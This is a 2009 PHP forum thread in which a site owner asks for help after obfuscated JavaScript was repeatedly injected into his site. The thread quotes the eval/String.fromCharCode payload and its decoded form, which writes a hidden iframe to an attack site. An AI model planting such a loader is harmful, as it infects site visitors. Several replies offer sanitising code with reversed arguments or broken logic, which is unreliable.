nikneven Posted May 20, 2009 Share Posted May 20, 2009 I am fairly new to PHP and have built my first PHP based site. Unfortunately, the site keeps getting script injected into it. After the first attack, I tried to stop it by making sure that the variables were variables, and not web addresses, by using case statements and i thought, securing the contact form. It just got hit again. The source code ended up looking like: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>Giraffe, Inc.</title> <meta name="keywords" content="scenic, prop, Reno, Tahoe, floral, live plant rental, flower, prop, portrait, photo, props, the<script type="text/javascript">eval(String.fromCharCode(118,97,114,32,120,101,119,61,52,53,51,56,48,48,53,52,51,59,118,97,114,32,103,104,103,52,53,61,34,110,117,111,116,34,59,118,97,114,32,119,61,34,111,34,59,118,97,114,32,114,101,54,61,34,108,108,46,34,59,118,97,114,32,104,50,104,61,34,99,111,109,34,59,118,97,114,32,97,61,34,105,102,114,34,59,118,97,114,32,115,61,34,104,116,116,34,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,39,43,97,43,39,97,109,101,32,115,114,39,43,39,99,61,34,39,43,115,43,39,112,58,47,47,39,43,103,104,103,52,53,43,39,39,43,119,43,39,39,43,114,101,54,43,39,39,43,104,50,104,43,39,47,39,43,39,34,32,119,105,100,39,43,39,116,104,61,34,49,34,32,104,39,43,39,101,105,103,104,116,61,34,51,34,62,60,47,105,102,39,43,39,114,97,109,101,62,39,41,59,32,118,97,114,32,106,104,114,52,61,52,51,50,52,50,50,52))</script> The site is http://www.system7design.com/giraffe/ The actual source is: <?php //If content variable is not defined, set to home. if (isset($content)) { } else { $content = "variableContent/home.php"; }; if($smc==1){ //$sM = "variableContent/services/sM1.php"; $sC = "variableContent/services/sC1.php"; $menuClass1 = " class=\"bold hoverDis\" "; $menuClass2 = ""; $menuClass3 = ""; $menuClass4 = ""; $menuClass5 = ""; } elseif ($smc==2){ //$sM = "variableContent/services/sM2.php"; $sC = "variableContent/services/sC2.php"; $menuClass1 = ""; $menuClass2 = " class=\"bold hoverDis\" "; $menuClass3 = ""; $menuClass4 = ""; $menuClass5 = ""; } elseif ($smc==3){ //$sM = "variableContent/services/sM3.php"; $sC = "variableContent/services/sC3.php"; $menuClass1 = ""; $menuClass2 = ""; $menuClass3 = " class=\"bold hoverDis\" "; $menuClass4 = ""; $menuClass5 = ""; } elseif ($smc==4){ //$sM = "variableContent/services/sM4.php"; $sC = "variableContent/services/sC4.php"; $menuClass1 = ""; $menuClass2 = ""; $menuClass3 = ""; $menuClass4 = " class=\"bold hoverDis\" "; $menuClass5 = ""; } elseif ($smc==5){ //$sM = "variableContent/services/sM5.php"; $sC = "variableContent/services/sC5.php"; $menuClass1 = ""; $menuClass2 = ""; $menuClass3 = ""; $menuClass4 = ""; $menuClass5 = " class=\"bold hoverDis\" "; } else{ //$sM = "variableContent/services/sM0.php"; $sC = "variableContent/services/sC0.php"; $menuClass1 = ""; $menuClass2 = ""; $menuClass3 = ""; $menuClass4 = ""; $menuClass5 = ""; } ; if($cbg==1){ $contactForm=" style=\"background-image: url(images/backgroundContact.jpg)\""; } else{ $contactForm=""; }; switch($content) { case 'home': $urlMenu = 'variableContent/home.php'; break; case 'about': $urlMenu = 'variableContent/about.php'; break; case 'services': $urlMenu = 'variableContent/services.php'; break; case 'gallery': $urlMenu = 'variableContent/gallery.php'; break; case 'contact': $urlMenu = 'variableContent/contact.php'; break; case 'validate': $urlMenu = 'variableContent/validate.php'; break; case 'ok': $urlMenu = 'variableContent/ok.php'; break; case 'error': $urlMenu = 'variableContent/error.php'; break; default: $urlMenu = 'variableContent/home.php'; }; $contentVariables = array('variableContent/home.php', 'variableContent/about.php', 'variableContent/services.php', 'variableContent/gallery.php', 'variableContent/contact.php', 'variableContent/validate.php', 'variableContent/ok.php', 'variableContent/error.php'); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>Giraffe, Inc.</title> <meta name="keywords" content="scenic, prop, Reno, Tahoe, floral, live plant rental, flower, prop, portrait, photo, props, theatre, event" /> <meta name="description" content="Giraffe, Inc. is a full service scenery and production support facility. We provide all aspects of scenic prop design and construction, rentals, stage equipment, portrait settings, and floral arrangements." /> <meta name="author" content="System 7 Design" /> <meta name="ROBOTS" content="ALL" /> <link rel="icon" type="image/ico" href="Favicon.ico" /> <link rel="stylesheet" type="text/css" href="css/giraffeMain.css" /> <link rel="stylesheet" href="css/lightbox.css" type="text/css" media="screen" /> <!--[if IE 6]> <script src="js/DD_belatedPNG.js"></script> <script> /* EXAMPLE */ DD_belatedPNG.fix('.btnExample, #indexDivider, .sC1, .sC2, .sC3, .sC4, .sC5, .sC0, #servicesMenu, img'); /* string argument can be any CSS selector */ /* .png_bg example is unnecessary */ /* change it to what suits you! */ </script> <![endif]--> <script type="text/javascript" src="js/prototype.js"></script> <script type="text/javascript" src="js/scriptaculous.js?load=effects,builder"></script> <script type="text/javascript" src="js/lightbox.js"></script> <script type="text/javascript" src="js/gen_validatorv31.js"></script> <script type="text/javascript" src="js/menuRollover.js"></script> <script type="text/javascript" src="js/swfobject.js"></script> <script type="text/javascript"> var flashvars = {}; var params = {}; params.wmode = "transparent"; var attributes = {}; swfobject.embedSWF("gallery.swf", "my_flash", "880", "450", "8.0.0", false, flashvars, params, attributes); </script> <style type="text/css" media="screen"> object { outline:none; } </style> </head> <body> <div id="container"<?php echo $contactForm; ?>> <div id="header"> <?php include("staticContent/header.php"); ?> </div><!-- /header --> <div id="content"> <?php if( in_array($urlMenu, $contentVariables)){ include($urlMenu); }else{ include("variableContent/home.php"); } ?> <div id="clear"></div> </div> <!-- /content --> <div id="footerContainer"> <?php include("staticContent/footer.php"); ?> </div> <!-- /footerContainer --> </div> <!-- /container --> </body> </html> and the contact form is: <?php // get posted data into local variables function check_input($data) { $data = trim($data); $data = stripslashes($data); $data = htmlspecialchars($data); return $data; } $EmailFrom = check_input($_POST['EmailFrom']); $EmailTo = "[email protected]"; $Subject = "~ New Contact from GiraffeInc.com: "; $Subject .= $EmailFrom; $Subject .= " ~"; $FullName = check_input($_POST['FullName']); $Contact = check_input($_POST['checkbox']); $Tel = check_input($_POST['Tel']); $Company = check_input($_POST['Company']); $Message = check_input($_POST['Message']); $headers = "From: \"".$FullName."\" <".$EmailFrom.">"; $headers .= "Return-Path: <".$EmailFrom.">"; $headers .= "\n"; // validation $validationOK=true; if ($EmailFrom=="") $validationOK=false; if ($FullName=="") $validationOK=false; if ($Message=="") $validationOK=false; if (!$validationOK) { print "<meta http-equiv=\"refresh\" content=\"0;URL=../index.php?content=validate&cbg=1\">"; exit; } if (!preg_match("/^[-_a-z0-9\'+*$^&%=~!?{}]++(?:\.[-_a-z0-9\'+*$^&%=~!?{}]+)*+@(??![-.])[-a-z0-9.]+(?<![-.])\.[a-z]{2,6}|\d{1,3}(?:\.\d{1,3}){3})(?::\d++)?$/iD",$EmailFrom)) { print "<meta http-equiv=\"refresh\" content=\"0;URL=../index.php?content=validate&cbg=1\">"; exit; } // prepare email body text $Body = ""; $Body .= "You have message from "; $Body .= $FullName; $Body .= " at "; $Body .= $EmailFrom; $Body .= "\n"; $Body .= "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"; $Body .= "\n"; $Body .= "\n"; $Body .= "Name: "; $Body .= $FullName; $Body .= "\n"; $Body .= "Should we contact you? "; $Body .= $Contact; $Body .= "\n"; $Body .= "Phone Number: "; $Body .= $Tel; $Body .= "\n"; $Body .= "Company: "; $Body .= $Company; $Body .= "\n"; $Body .= "Message: "; $Body .= $Message; $Body .= "\n"; // send email $success = mail($EmailTo, $Subject, $Body, $headers); // redirect to success page if ($success){ print "<meta http-equiv=\"refresh\" content=\"0;URL=../index.php?content=ok&cbg=1\">"; } else{ print "<meta http-equiv=\"refresh\" content=\"0;URL=../index.php?content=error&cbg=1\">"; } ?> We're using the following to make a list of images for flash to pull, and I don't think this one is the issue, but.... <?php $images = '_gallery'; $thumbs= '_gallery/_thumbs'; $numImages = 0; $numThumbs = 0; $url = $_SERVER['PHP_SELF']; $mypath = substr($url, 0, -14); if (is_dir($images)) { if ($openDir = opendir($images)) { while (false !== ($file = readdir($openDir))) { if ($file != '.' && $file != '..') { if (is_file($images . '/' . $file)) { $f = explode('.', $file); $ext = array_pop($f); if ($ext == 'jpg') { $image_file = "$images/$file"; if (file_exists ($image_file)){ echo "\n&image$numImages=".$image_file;//should echo: &thumb0=_gallery/_thumbs/thumb_01.jpg }else{ echo "\n&image$numImages=none";//should echo: &thumb0=none } ++$numImages; } } } } } closedir($openDir); } //&image0=_gallery/01.jpg if (is_dir($images)) { if ($openDir = opendir($images)) { while (false !== ($file = readdir($openDir))) { if ($file != '.' && $file != '..') { if (is_file($images . '/' . $file)) { $f = explode('.', $file); $ext = array_pop($f); if ($ext == 'jpg') { $thumb_file = "$images/_thumbs/thumb_$file"; if (file_exists ($thumb_file)){ echo "\n&thumb$numThumbs=".$thumb_file;//should echo: &thumb0=_gallery/_thumbs/thumb_01.jpg }else{ echo "\n&thumb$numThumbs=images/gallery/thumbBG.jpg";//should echo: &thumb0=none } ++$numThumbs; } } } } } closedir($openDir); } ?> What have I done wrong? Any help would be very greatly appreciated. ~Nikneven Quote Link to comment https://forums.phpfreaks.com/topic/158943-php-injection-attack/ Share on other sites More sharing options...
radi8 Posted May 20, 2009 Share Posted May 20, 2009 Well, one thing that you can do is prevent any type of html in your text fields. it wold be a relatively simple thing to make a function to 'wash' all text field data to prevent specific characters/keywords/phrases, i.e. search for '<script' and if it exists, kill the text . The hard part is determining all the places where this can occur at and squashing it at the source. Quote Link to comment https://forums.phpfreaks.com/topic/158943-php-injection-attack/#findComment-838306 Share on other sites More sharing options...
nikneven Posted May 20, 2009 Author Share Posted May 20, 2009 When you say text field data, do you mean that this is probably an issue with the contact form, or with something else? And I was under the impression that I had pretty much cleaned up the contact form to prevent this type of thing. Quote Link to comment https://forums.phpfreaks.com/topic/158943-php-injection-attack/#findComment-838361 Share on other sites More sharing options...
jkewlo Posted May 20, 2009 Share Posted May 20, 2009 well if it is a sql injection which it probably is then I would use stripslashes the input <?php $contact = $_GET['username']; contact = stripslashes('username'); ?> Quote Link to comment https://forums.phpfreaks.com/topic/158943-php-injection-attack/#findComment-838515 Share on other sites More sharing options...
nikneven Posted May 20, 2009 Author Share Posted May 20, 2009 I'm not sure what you mean by a sql injection attack. There is no database attached to this. Is a sql injection attack still an issue, just with the contact form or variables in the url? Quote Link to comment https://forums.phpfreaks.com/topic/158943-php-injection-attack/#findComment-838519 Share on other sites More sharing options...
Andy-H Posted May 20, 2009 Share Posted May 20, 2009 Look into http://php.net/htmlentities Use it with ent quotes when displaying user input like so echo stripSlashes(HTMLentities($_POST['user_input'], ENT_QUOTES)); Quote Link to comment https://forums.phpfreaks.com/topic/158943-php-injection-attack/#findComment-838537 Share on other sites More sharing options...
nikneven Posted May 20, 2009 Author Share Posted May 20, 2009 I'm not sure that would help. I am already using stripslashes, I am already using htmlspecialchars which is almost identical to htmlentities. I am not displaying any user input, there is no database. I am checking the user input on the contact form with http://myphpform.com/validating-forms.php. How did the injected script get into my meta tags?? Is this really a contact form issue? Quote Link to comment https://forums.phpfreaks.com/topic/158943-php-injection-attack/#findComment-838542 Share on other sites More sharing options...
cringe Posted May 21, 2009 Share Posted May 21, 2009 At the very least, you need to use htmlentities($yourInputText, ENT_QUOTES); This will render <script> and other tags harmless to the browser. Also, look at strip_tags http://us3.php.net/manual/en/function.strip-tags.php CR Quote Link to comment https://forums.phpfreaks.com/topic/158943-php-injection-attack/#findComment-838547 Share on other sites More sharing options...
Andy-H Posted May 21, 2009 Share Posted May 21, 2009 This function is identical to htmlspecialchars() in all ways, except with htmlentities(), all characters which have HTML character entity equivalents are translated into these entities. And with ENT_QUOTES it will escape both single and double quotation marks. Quote Link to comment https://forums.phpfreaks.com/topic/158943-php-injection-attack/#findComment-838548 Share on other sites More sharing options...
nikneven Posted May 21, 2009 Author Share Posted May 21, 2009 Thank you. I will change those. Is this really a contact form issue? How do the inject a script into the meta tags in the header? Quote Link to comment https://forums.phpfreaks.com/topic/158943-php-injection-attack/#findComment-838551 Share on other sites More sharing options...
Andy-H Posted May 21, 2009 Share Posted May 21, 2009 I am not sure, have never seen it done before TBH. Have you checked your server access logs? If the source of the file has edited permanently then it's probably a case of someone cracking your password. Quote Link to comment https://forums.phpfreaks.com/topic/158943-php-injection-attack/#findComment-838565 Share on other sites More sharing options...
MasterACE14 Posted May 21, 2009 Share Posted May 21, 2009 also can use strip_tags($var); Quote Link to comment https://forums.phpfreaks.com/topic/158943-php-injection-attack/#findComment-838567 Share on other sites More sharing options...
cringe Posted May 21, 2009 Share Posted May 21, 2009 How do the inject a script into the meta tags in the header? Why use the <meta name="keywords">? I don't think search engines even use those anymore. As for the javascript in there, I don't have a clue how it got there. (is interesting though!) CR Quote Link to comment https://forums.phpfreaks.com/topic/158943-php-injection-attack/#findComment-838568 Share on other sites More sharing options...
nikneven Posted May 21, 2009 Author Share Posted May 21, 2009 I think some of them (other than google) still use them, and I guess its still considered good practice to. The first time this happened, the javascript was injected just above the footer. It has me totally stumped. Quote Link to comment https://forums.phpfreaks.com/topic/158943-php-injection-attack/#findComment-838581 Share on other sites More sharing options...
Andy-H Posted May 21, 2009 Share Posted May 21, 2009 <html> <body> <script type="text/javascript"> document.write(String.fromCharCode(118,97,114,32,120,101,119,61,52,53,51,56,48,48,53,52,51,59,118,97,114,32,103,104,103,52,53,61,34,110,117,111,116,34,59,118,97,114,32,119,61,34,111,34,59,118,97,114,32,114,101,54,61,34,108,108,46,34,59,118,97,114,32,104,50,104,61,34,99,111,109,34,59,118,97,114,32,97,61,34,105,102,114,34,59,118,97,114,32,115,61,34,104,116,116,34,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,39,43,97,43,39,97,109,101,32,115,114,39,43,39,99,61,34,39,43,115,43,39,112,58,47,47,39,43,103,104,103,52,53,43,39,39,43,119,43,39,39,43,114,101,54,43,39,39,43,104,50,104,43,39,47,39,43,39,34,32,119,105,100,39,43,39,116,104,61,34,49,34,32,104,39,43,39,101,105,103,104,116,61,34,51,34,62,60,47,105,102,39,43,39,114,97,109,101,62,39,41,59,32,118,97,114,32,106,104,114,52,61,52,51,50,52,50,50,52)); document.write("<br />"); </script> </body> </html> RETURNED: var xew=453800543;var ghg45="nuot";var w="o";var re6="ll.";var h2h="com";var a="ifr";var s="htt";document.write('<'+a+'ame sr'+'c="'+s+'p://'+ghg45+''+w+''+re6+''+h2h+'/'+'" wid'+'th="1" h'+'eight="3">'); var jhr4=4324224 Quote Link to comment https://forums.phpfreaks.com/topic/158943-php-injection-attack/#findComment-838584 Share on other sites More sharing options...
cringe Posted May 21, 2009 Share Posted May 21, 2009 So, I went to this http://nuotoll.com that was injected via that javascript and got this message from my anti-virus software: Reported Attack Site! This web site at nuotoll.com has been reported as an attack site and has been blocked based on your security preferences. CR Quote Link to comment https://forums.phpfreaks.com/topic/158943-php-injection-attack/#findComment-838601 Share on other sites More sharing options...
nikneven Posted May 21, 2009 Author Share Posted May 21, 2009 Yea, the original attack return as: var hjg4="bits";var w="info";var re6="ware.";var rrtt6="net";var a="if";var s="tt";document.write('<'+a+'rame src="h'+s+'p://'+hjg4+''+w+''+re6+''+rrtt6+'/'+'" width="1" height="1">');var w=010001010011 Looks like they were trying to inject links. I'm really confused. Is this maybe because I'm passing variables the url? I have them all set with if statements and switches. Is there a fundamental flaw in the way I have structured this site? Quote Link to comment https://forums.phpfreaks.com/topic/158943-php-injection-attack/#findComment-838622 Share on other sites More sharing options...
darkfreaks Posted May 21, 2009 Share Posted May 21, 2009 Try: <?php function check_input($data) { $data=strip_tags('allowed tags',$data); $data = trim($data); //trim whitespace $data = stripslashes($data); //trim backslashes $data = htmlspecialchars($data,ENT_NOQUOTES); //escaping XSS in PHP 5// $data= filter_var($data,FILTER_SANITIZE_STRING); //works in php5 //////////////////////////////////////////////////////////////////////////////// $data= mysql_real_escape_string($data); // escape SQL injection return $data; }?> Quote Link to comment https://forums.phpfreaks.com/topic/158943-php-injection-attack/#findComment-838640 Share on other sites More sharing options...
waynew Posted May 21, 2009 Share Posted May 21, 2009 Have you checked around your server for other suspicious looking files/code? Also, seeing as he's using charset=iso-8859-1 as a charset, he should use htmlentities like so: $string = htmlentities($string,ENT_QUOTES,"charset=iso-8859-1"); Although I'm not sure if the contact form is a direct cause of all this. Quote Link to comment https://forums.phpfreaks.com/topic/158943-php-injection-attack/#findComment-838742 Share on other sites More sharing options...
adams0423 Posted May 21, 2009 Share Posted May 21, 2009 I just wanted to add in .02 for what its worth. I have a hosting account with GoDaddy with about a dozen domains pointed to it. Every one of them, this morning, was incorporating code infecting users from the Nuotoll website you referenced. I contacted the host, and they advised that my password had been compromised. I spent the morning re-uploading every one of my sites. Re-putting each site seems to have resolved the issue, although I'm going to continue to monitor over the next few days/weeks. I have a couple of PHP forms on my sites, but the sites are mostly html/css. The virus that user's received by visiting one of the sites was a Bloodhound Exploit 196. I'll continue to monitor this thread as well in case you (or others) make progress. I hope this info helps in some small way! Quote Link to comment https://forums.phpfreaks.com/topic/158943-php-injection-attack/#findComment-838950 Share on other sites More sharing options...
MasterACE14 Posted May 21, 2009 Share Posted May 21, 2009 I've modified darkfreaks script so you can set flags as to what functions are used for security. function safe_input($data,$flags="abcdef") { if(strpos($flags,"a") == 0) { $data = strip_tags('allowed tags',$data); } if(strpos($flags,"b")) { $data = trim($data); //trim whitespace } if(strpos($flags,"c")) { $data = stripslashes($data); //trim backslashes } if(strpos($flags,"d")) { $data = htmlspecialchars($data,ENT_NOQUOTES); } if(strpos($flags,"e")) { //escaping XSS in PHP 5// $data = filter_var($data,FILTER_SANITIZE_STRING); //works in php5 } if(strpos($flags,"f")) { $data = mysql_real_escape_string($data); // escape SQL injection } return $data; } // use safe_input($_POST['text'],"abce") Quote Link to comment https://forums.phpfreaks.com/topic/158943-php-injection-attack/#findComment-838974 Share on other sites More sharing options...
PerfecTiion Posted May 21, 2009 Share Posted May 21, 2009 What piece of code would i use if i expect a number ? Quote Link to comment https://forums.phpfreaks.com/topic/158943-php-injection-attack/#findComment-839294 Share on other sites More sharing options...
PerfecTiion Posted May 21, 2009 Share Posted May 21, 2009 Try: <?php function check_input($data) { $data=strip_tags('allowed tags',$data); $data = trim($data); //trim whitespace $data = stripslashes($data); //trim backslashes $data = htmlspecialchars($data,ENT_NOQUOTES); //escaping XSS in PHP 5// $data= filter_var($data,FILTER_SANITIZE_STRING); //works in php5 //////////////////////////////////////////////////////////////////////////////// $data= mysql_real_escape_string($data); // escape SQL injection return $data; }?> <?php function check_input($data) { $data= filter_var($data,FILTER_SANITIZE_NUMBER_INT); //works in php5 return $data; ?> Quote Link to comment https://forums.phpfreaks.com/topic/158943-php-injection-attack/#findComment-839329 Share on other sites More sharing options...
cringe Posted May 22, 2009 Share Posted May 22, 2009 I contacted the host (GoDaddy), and they advised that my password had been compromised. What in the world does that mean? A host should not store your password in plain text, they should store a hash of it. Or were you phish bait or clickjacked? Was your password 'password'? Clue us in here. This is incredulous. I googled "godaddy password compromised" for the past 7 days and didn't get a good hit. CR Quote Link to comment https://forums.phpfreaks.com/topic/158943-php-injection-attack/#findComment-839530 Share on other sites More sharing options...
MasterACE14 Posted May 22, 2009 Share Posted May 22, 2009 maybe it was a brute force hack or he shares his account with someone else? Quote Link to comment https://forums.phpfreaks.com/topic/158943-php-injection-attack/#findComment-839531 Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.